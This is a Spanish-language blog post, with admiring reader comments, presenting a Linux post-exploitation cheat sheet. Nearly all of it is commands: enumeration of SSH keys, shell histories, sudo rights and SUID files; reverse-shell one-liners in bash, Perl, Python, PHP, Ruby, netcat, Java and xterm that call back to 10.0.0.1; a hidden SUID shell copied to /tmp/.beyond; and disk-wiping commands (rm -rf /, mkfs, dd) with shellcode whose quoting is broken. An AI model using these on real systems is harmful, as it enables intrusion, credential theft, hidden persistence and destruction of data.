Blog

Post Explotación en Linux Parte I

 

i-am-root

 

Bueno, una vez hemos dado un MUY pequeño paseo por windows, toca acercarnos más y más al “turrón”, así que… Al lío

Lo primero es ir viendo comandos con sus modificadores ya que en este caso si es muy importante conocer todas las posible variantes. Posteriormente, se irán poniendo ejemplos concretos de su uso en real y a “mano”

 

COTILLEANDO” ARCHIVOS IMPORTANTES

 

locate tar | grep [.]tar$ # Recuerda actualizar la Base de Datos antes de correr locate

locate tgz | grep [.]tgz$

locate sql | grep [.]sql$

locate settings | grep [.]php$

locate config.inc | grep [.]php$

ls /home/*/id*

.properties | grep [.]properties # java config files

locate .xml | grep [.]xml # java/.net config files

find /sbin /usr/sbin /opt /lib `echo $PATH | ‘sed s/:/ /g’` -perm /6000 -ls # find suids

locate rhosts

ls -dlR */ #

ls -alR | grep ^d

find /var -type d

ls -dl `find /var -type d`

ls -dl `find /var -type d` | grep -v root

find /var ! -user root -type d -ls

find /var/log -type f -exec ls -la {} \;

find / -perm -4000 (find all suid files)

ls -alhtr /mnt

ls -alhtr /media

ls -alhtr /tmp

ls -alhtr /home

cd /home/; treels /home/*/.ssh/*

find /home -type f -iname ‘.*history’

ls -lart /etc/rc.d/

VAMOS A POR LOS USUARIOS Y SU INFORMACIÓN

 

ls -alh /home/*/

ls -alh /home/*/.ssh/

cat /home/*/.ssh/authorized_keys

cat /home/*/.ssh/known_hosts

cat /home/*/.*hist* # De aquí sacas mucho mucho … 

find /home/*/.vnc /home/*/.subversion -type f

grep ^ssh /home/*/.*hist*

grep ^telnet `/home/*/.*hist*

grep ^mysql /home/*/.*hist*

cat /home/*/.viminfo

sudo -l # if sudoers is not. readable, this sometimes works per user

crontab -l

cat /home/*/.mysql_history 

TENIENDO EL CONTROL Y “REVERSEANDO” LA SHELL

 

BASH

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

PERL

perl -e ‘use Socket;$i=”10.0.0.1″;$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(“tcp”));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,”>&S”);open(STDOUT,”>&S”);open(STDERR,”>&S”);exec(“/bin/sh -i”);};’

PYTHON

Linux / Python 2.7:

python -c ‘import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((“10.0.0.1”,1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([“/bin/sh”,”-i”]);’

PHP

php -r ‘$sock=fsockopen(“10.0.0.1”,1234);exec(“/bin/sh -i <&3 >&3 2>&3”);’

Para subir un php.. no uses esta shell reversa, usa una “php reverse shell” más “robusta” .. está es para empezar, ya pondré las más  “adecuadas” dependiendo el “entorno” ..

RUBY

ruby -rsocket -e’f=TCPSocket.open(“10.0.0.1”,1234).to_i;exec sprintf(“/bin/sh -i <&%d >&%d 2>&%d”,f,f,f)’

NETCAT

nc -e /bin/sh 10.0.0.1 1234 # Existen más .. Lo mismo, se iré mostrando.

JAVA

r = Runtime.getRuntime()

p = r.exec([“/bin/bash”,”-c”,”exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done”] as String[])

p.waitFor()

 X-TERM

Una de las más sencillas… Todos los comandos deben ser ejecutados en el servidor Asumimos que tenemos esta ip 10.0.0.1 por TCP en el puerto 6001.

xterm -display 10.0.0.1:1

Para capturar el xterm entrante comienza un X-Server (:1 y escuha pr defecto en el 6001) y tienes la opción de Xnest que tienes que correr en tu equipo, para hacer esto

Xnest :1

Tienes que autorizar al “objetivo” , recuerda que los comandos también corren en tu mákina ..

xhost +targetip

 

SI ES NECESARIO…

DESTROZANDO Y DESTRUYENDO

Borrar recursivamente todos los archivos

rm -rf /

Version Hex de rm -rf /

char esp[] __attribute__ ((section(”.text”))) /* e.s.p release */ = “\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68″

\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99″

 “\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7″

\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56″

\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31″

\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69″

\x6e\x2f\x73\x68\x00\x2d\x63\x00″

cp -p /bin/sh /tmp/.beyond; chmod 4755 /tmp/.beyond;”;

 

Volver e formatear el dispositivo por lo que la recuperación de los archivos de disco es más difícil

mkfs.ext3 /dev/sda

Sobrescritura del disco /dev/sda con ceros

dd if=/dev/zero of=/dev/sda bs=1M

 

Espero que os empiece a parecer entretenido el “tema” linux a “manopla” para luego poder entender que hacen “cosas” como esta por detrás.. ese es el uno de los objetivos, el otro que si “alguna” vez , por la razón que sea, te ves en la situación de no tener metasploit, kali o tu querido Back-Track, que no te quedes con la cara roja jamás.. 

 

cs1

Un saludo

Juan Carlos García

Live Free Or Die Hacking

  1. bitácora de redes
    bitácora de redes08-29-2013

    magnífico artículo!!! eres un artista!!!

  2. Ada_lovelance
    Ada_lovelance08-30-2013

    Muy bueno! muchas gracias! por fin alguien que cuenta cosas realmente interesantes y en modo old school, que tanto kali, bugtrag, backtrack and company estan dejando mucho cerebro frito.

    • Juan Carlos García
      Juan Carlos García08-30-2013

      MUCHAS GRACIAS !!!!!!! Veo que eres de mi mismo pensamiento OLD SCHOOL 😉 Gracias por pasarte y leerlo. Un placer..( esto continua… 😉 )

  3. BTshell
    BTshell08-31-2013

    Buenisimo JC, hasta hoy por curre no he podido leer este post y es buenisimo, me lo GUARDO 🙂

  4. R0dw3
    R0dw309-06-2013

    Eres un artista! 🙂

Leave a Reply

*

    No Twitter Messages